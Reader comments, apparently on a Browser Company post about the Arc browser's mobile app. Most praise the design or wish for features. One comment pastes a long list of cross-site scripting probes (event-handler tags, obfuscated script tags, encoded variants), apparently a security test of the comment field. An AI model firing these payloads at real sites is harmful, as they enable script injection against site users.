39 Comments

EVOLUTION AT ITS FINEST!!!

Expand full comment

Here here!

The new mobile app is brilliant. Throughly love the implementation of utilizing the share function. It’s fast, easy to use, and innovative.

Also the app itself has a great design. Congrats on the new product! Cheers.

PS - it’s too early for me to write up another on throughly fresh comment so don’t be shocked if you see this in the App Store review 😅🫠

Expand full comment

i love you

the browser company is the most exciting thing happening around consumer tech right now

you put into sophisticated words a lot of things i've been feeling -and clumsily tweeting- for ages

im a chromebook user but now i NEED a mac just to finally use arc damnit

btw, talking about chromebooks, i would buy the hell out of an ARCbook (your vision goes way beyond the traditional paradigm of a browser, it's an OS)

i read that apple is planning to start letting developers put multiple icons in the iOS homescreen for different functions/shortcuts from one app, i bet arc mobile is gonna take full advantage of that and i couldn't be more excited

Expand full comment

"i read that apple is planning to start letting developers put multiple icons in the iOS homescreen for different functions/shortcuts from one app" Sounds cool. Windows Phone had that. It was called pinning, and you could pin not just apps, but particular functions of an app, to the home screen if the dev built that in. Using those pinned shortcuts was really cool.

Expand full comment

This already works for quite a while. App developers have a couple options to achieve exactly that. e.g. you can offer certain functionalities of your apps as shortcuts or create interactive widgets that the user can place on their Home Screens.

Expand full comment

we love you too!

Expand full comment

Okay wait, I have a wild crazy idea: if Arc can be the the home screen we never knew we needed, then on Android, it can be an actual home screen launcher that you can organize the way you think.

Expand full comment

These are some good thoughts. I had two gut reactions to this: First, if you're tired of the 2007-ish grid icon home screen layout, like "furniture bolted to the floor," it's high time you switch to Android, where you can use innovative home screens (called launchers) like Niagara and many others. Yeah, we know you're all Apple people; we watch your videos. How's that 15 year old UI holding up?😊 Just teasing. You know I love you.

My other reaction was, "Dang, I miss Windows Phone!" Yup, Windows Phone. They had a truly outside-the-box home screen in which all your info would light up the tiles in really cool and ways once you signed into your various services, and everything was resizable and fluid. Super customizable. Not only that, but they actually tried to address the app-centric nature of phones that you discussed. They did this with "hubs," areas within the phone UI in which multiple apps with similar functions (say, pictures or instant messaging or whatever) could tap into the Windows Phone API so that their functionality was all accessible from a single hub (the Photos hub, the People hub, etc). WP had a bunch of creative stuff like that. But alas, it was not to be, and I eventually had to go the Android route as the next best option. ::sigh::

Speaking of Windows ... still waiting with eager expectation. Hope to be able to get in on the Arc action soon! 🙏

Expand full comment

I wish that each space could have an icon and a banner image, much like pages in Notion can. It would make them stand out more from each other.

Expand full comment

Hello world, iam here from hackerone. Testing

Expand full comment

The design of the mobile version is pretty poo(r/p). I thought you would make better use of visual materials, you’ve created for the desktop. Wishing well, but this doesn’t hit a bar for me (sadly)

If you want some help I am happy to elaborate on the issues or even help you directly with working with iOS

Expand full comment

it's super refreshing to find a whole entire company of people to share such a grand vision. sometime during COVID i thought of the exact thing (probably after watching the social dilemma) that the entire app based interface seemed super outdated.

i also kinda understood the need to have different apps (mostly social). so the OS wide architecture i thought of was pretty much like mercuryOS. weirdly enough, i had not seen it before i drew out my own idea on my notepad, but it was sort of an out of body experience to find the exact thing online and a large number of people talking about it.

but the missing part was the browser. i couldn't (or rather didn't) imagine what would happen to the internet and all the websites on it. i think this move towards mobile is the Browser Co. catching the bull by it's horns and accelerating the end of the age of the app. and i couldn't be happier with it.

Expand full comment

So happy to have you along for the ride!

Expand full comment

Love this! And opening up the app was delightful.

I think about EdTech tools a lot (and the pain of users having to juggle so many). I'm excited for this watercolor concept to be applied in the education/learning realm. Arc for Edu!

Expand full comment

I started to notice a few weeks into using Arc on my laptop that it seemed to be replacing my desktop. I keep it opened filling the screen, and I now feel bothered when I have to bang my smart corner to reveal my desktop and find something. I look forward to the mobile experience!

Expand full comment

Looking over to the Mac's Stage Manager of apps that I have open, it occurs to me that half of them could live inside of Arc if I just add their website to my spaces. And I'll be doing just that. A few more things that are easy to find. and make use of without needing to have separate windows. Thanks!! I am coming to grips with using Arc and doing a variety of things seemingly all at once. I needed to upload an invoice and a screenshot from my bank to a website today and was able to do it all inside Arc. The same thing a week or more ago would have been major process. This was done in minutes. Keep up the great work!

Expand full comment

an interesting thing you can do if you use multiple slack workspaces is sign into a workspace on a different space and profile! that way you can focus on one overarching thing at a time.

Expand full comment

exactly! (re: stage manager). apple has a ton of great ideas, but they're very limited by only applying to apps and windows

Expand full comment

wow... I am looking forward to seeing the development of a Arc smartphone app. I don't know how exactly it'll work, but arc.browser has seriously made my digital life easier. I have yet to reach the full potential, but I just love the user interface and the design :)

Expand full comment

ttt

Expand full comment

<a href="https://evil.com">ac

"-prompt(8)-"

'-prompt(8)-'

";a=prompt,a()//

';a=prompt,a()//

'-eval("window['pro'%2B'mpt'](8)")-'

"-eval("window['pro'%2B'mpt'](8)")-"

"onclick=prompt(8)>"@x.y

"onclick=prompt(8)><svg/onload=prompt(8)>"@x.y

<image/src/onerror=prompt(8)>

<img/src/onerror=prompt(8)>

<image src/onerror=prompt(8)>

<img src/onerror=prompt(8)>

<image src =q onerror=prompt(8)>

<img src =q onerror=prompt(8)>

</scrip</script>t><img src =q onerror=prompt(8)>

<script\x20type="text/javascript">javascript:alert(1);</script>

<script\x3Etype="text/javascript">javascript:alert(1);</script>

<script\x0Dtype="text/javascript">javascript:alert(1);</script>

<script\x09type="text/javascript">javascript:alert(1);</script>

<script\x0Ctype="text/javascript">javascript:alert(1);</script>

<script\x2Ftype="text/javascript">javascript:alert(1);</script>

<script\x0Atype="text/javascript">javascript:alert(1);</script>

'`"><\x3Cscript>javascript:alert(1)</script>

'`"><\x00script>javascript:alert(1)</script>

<img src=1 href=1 onerror="javascript:alert(1)"></img>

<audio src=1 href=1 onerror="javascript:alert(1)"></audio>

<video src=1 href=1 onerror="javascript:alert(1)"></video>

<body src=1 href=1 onerror="javascript:alert(1)"></body>

<image src=1 href=1 onerror="javascript:alert(1)"></image>

<object src=1 href=1 onerror="javascript:alert(1)"></object>

<script src=1 href=1 onerror="javascript:alert(1)"></script>

<svg onResize svg onResize="javascript:javascript:alert(1)"></svg onResize>

<title onPropertyChange title onPropertyChange="javascript:javascript:alert(1)"></title onPropertyChange>

<iframe onLoad iframe onLoad="javascript:javascript:alert(1)"></iframe onLoad>

<body onMouseEnter body onMouseEnter="javascript:javascript:alert(1)"></body onMouseEnter>

<body onFocus body onFocus="javascript:javascript:alert(1)"></body onFocus>

<frameset onScroll frameset onScroll="javascript:javascript:alert(1)"></frameset onScroll>

<script onReadyStateChange script onReadyStateChange="javascript:javascript:alert(1)"></script onReadyStateChange>

<html onMouseUp html onMouseUp="javascript:javascript:alert(1)"></html onMouseUp>

<body onPropertyChange body onPropertyChange="javascript:javascript:alert(1)"></body onPropertyChange>

<svg onLoad svg onLoad="javascript:javascript:alert(1)"></svg onLoad>

<body onPageHide body onPageHide="javascript:javascript:alert(1)"></body onPageHide>

<body onMouseOver body onMouseOver="javascript:javascript:alert(1)"></body onMouseOver>

<body onUnload body onUnload="javascript:javascript:alert(1)"></body onUnload>

<body onLoad body onLoad="javascript:javascript:alert(1)"></body onLoad>

<bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:alert(1)"></bgsound onPropertyChange>

<html onMouseLeave html onMouseLeave="javascript:javascript:alert(1)"></html onMouseLeave>

<html onMouseWheel html onMouseWheel="javascript:javascript:alert(1)"></html onMouseWheel>

<style onLoad style onLoad="javascript:javascript:alert(1)"></style onLoad>

<iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(1)"></iframe onReadyStateChange>

<body onPageShow body onPageShow="javascript:javascript:alert(1)"></body onPageShow>

<style onReadyStateChange style onReadyStateChange="javascript:javascript:alert(1)"></style onReadyStateChange>

<frameset onFocus frameset onFocus="javascript:javascript:alert(1)"></frameset onFocus>

<applet onError applet onError="javascript:javascript:alert(1)"></applet onError>

<marquee onStart marquee onStart="javascript:javascript:alert(1)"></marquee onStart>

<script onLoad script onLoad="javascript:javascript:alert(1)"></script onLoad>

<html onMouseOver html onMouseOver="javascript:javascript:alert(1)"></html onMouseOver>

<html onMouseEnter html onMouseEnter="javascript:parent.javascript:alert(1)"></html onMouseEnter>

<body onBeforeUnload body onBeforeUnload="javascript:javascript:alert(1)"></body onBeforeUnload>

<html onMouseDown html onMouseDown="javascript:javascript:alert(1)"></html onMouseDown>

<marquee onScroll marquee onScroll="javascript:javascript:alert(1)"></marquee onScroll>

<xml onPropertyChange xml onPropertyChange="javascript:javascript:alert(1)"></xml onPropertyChange>

<frameset onBlur frameset onBlur="javascript:javascript:alert(1)"></frameset onBlur>

<applet onReadyStateChange applet onReadyStateChange="javascript:javascript:alert(1)"></applet onReadyStateChange>

<svg onUnload svg onUnload="javascript:javascript:alert(1)"></svg onUnload>

<html onMouseOut html onMouseOut="javascript:javascript:alert(1)"></html onMouseOut>

<body onMouseMove body onMouseMove="javascript:javascript:alert(1)"></body onMouseMove>

<body onResize body onResize="javascript:javascript:alert(1)"></body onResize>

<object onError object onError="javascript:javascript:alert(1)"></object onError>

<body onPopState body onPopState="javascript:javascript:alert(1)"></body onPopState>

<html onMouseMove html onMouseMove="javascript:javascript:alert(1)"></html onMouseMove>

<applet onreadystatechange applet onreadystatechange="javascript:javascript:alert(1)"></applet onreadystatechange>

<body onpagehide body onpagehide="javascript:javascript:alert(1)"></body onpagehide>

<svg onunload svg onunload="javascript:javascript:alert(1)"></svg onunload>

<applet onerror applet onerror="javascript:javascript:alert(1)"></applet onerror>

<body onkeyup body onkeyup="javascript:javascript:alert(1)"></body onkeyup>

<body onunload body onunload="javascript:javascript:alert(1)"></body onunload>

<iframe onload iframe onload="javascript:javascript:alert(1)"></iframe onload>

<body onload body onload="javascript:javascript:alert(1)"></body onload>

<html onmouseover html onmouseover="javascript:javascript:alert(1)"></html onmouseover>

<object onbeforeload object onbeforeload="javascript:javascript:alert(1)"></object onbeforeload>

<body onbeforeunload body onbeforeunload="javascript:javascript:alert(1)"></body onbeforeunload>

<body onfocus body onfocus="javascript:javascript:alert(1)"></body onfocus>

<body onkeydown body onkeydown="javascript:javascript:alert(1)"></body onkeydown>

<iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(1)"></iframe onbeforeload>

<iframe src iframe src="javascript:javascript:alert(1)"></iframe src>

<svg onload svg onload="javascript:javascript:alert(1)"></svg onload>

<html onmousemove html onmousemove="javascript:javascript:alert(1)"></html onmousemove>

<body onblur body onblur="javascript:javascript:alert(1)"></body onblur>

\x3Cscript>javascript:alert(1)</script>

'"`><script>/* *\x2Fjavascript:alert(1)// */</script>

<script>javascript:alert(1)</script\x0D

<script>javascript:alert(1)</script\x0A

<script>javascript:alert(1)</script\x0B

<script charset="\x22>javascript:alert(1)</script>

<!--\x3E<img src=xxx:x onerror=javascript:alert(1)> -->

--><!-- ---> <img src=xxx:x onerror=javascript:alert(1)> -->

--><!-- --\x00> <img src=xxx:x onerror=javascript:alert(1)> -->

--><!-- --\x21> <img src=xxx:x onerror=javascript:alert(1)> -->

--><!-- --\x3E> <img src=xxx:x onerror=javascript:alert(1)> -->

`"'><img src='#\x27 onerror=javascript:alert(1)>

<a href="javascript\x3Ajavascript:alert(1)" id="fuzzelement1">test</a>

"'`><p><svg><script>a='hello\x27;javascript:alert(1)//';</script></p>

<a href="javas\x00cript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="javas\x07cript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="javas\x0Dcript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="javas\x0Acript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="javas\x08cript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="javas\x02cript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="javas\x03cript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="javas\x04cript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="javas\x01cript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="javas\x05cript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="javas\x0Bcript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="javas\x09cript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="javas\x06cript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="javas\x0Ccript:javascript:alert(1)" id="fuzzelement1">test</a>

<script>/* *\x2A/javascript:alert(1)// */</script>

<script>/* *\x00/javascript:alert(1)// */</script>

<style></style\x3E<img src="about:blank" onerror=javascript:alert(1)//></style>

<style></style\x0D<img src="about:blank" onerror=javascript:alert(1)//></style>

<style></style\x09<img src="about:blank" onerror=javascript:alert(1)//></style>

<style></style\x20<img src="about:blank" onerror=javascript:alert(1)//></style>

<style></style\x0A<img src="about:blank" onerror=javascript:alert(1)//></style>

"'`>ABC<div style="font-family:'foo'\x7Dx:expression(javascript:alert(1);/*';">DEF

"'`>ABC<div style="font-family:'foo'\x3Bx:expression(javascript:alert(1);/*';">DEF

%253Cscript%253Ealert('XSS')%253C%252Fscript%253E

<script>if("x\\xE1\x96\x89".length==2) { javascript:alert(1);}</script>

<script>if("x\\xE0\xB9\x92".length==2) { javascript:alert(1);}</script>

<script>if("x\\xEE\xA9\x93".length==2) { javascript:alert(1);}</script>

'`"><\x3Cscript>javascript:alert(1)</script>

'`"><\x00script>javascript:alert(1)</script>

"'`><\x3Cimg src=xxx:x onerror=javascript:alert(1)>

"'`><\x00img src=xxx:x onerror=javascript:alert(1)>

Expand full comment

<u>apple

Expand full comment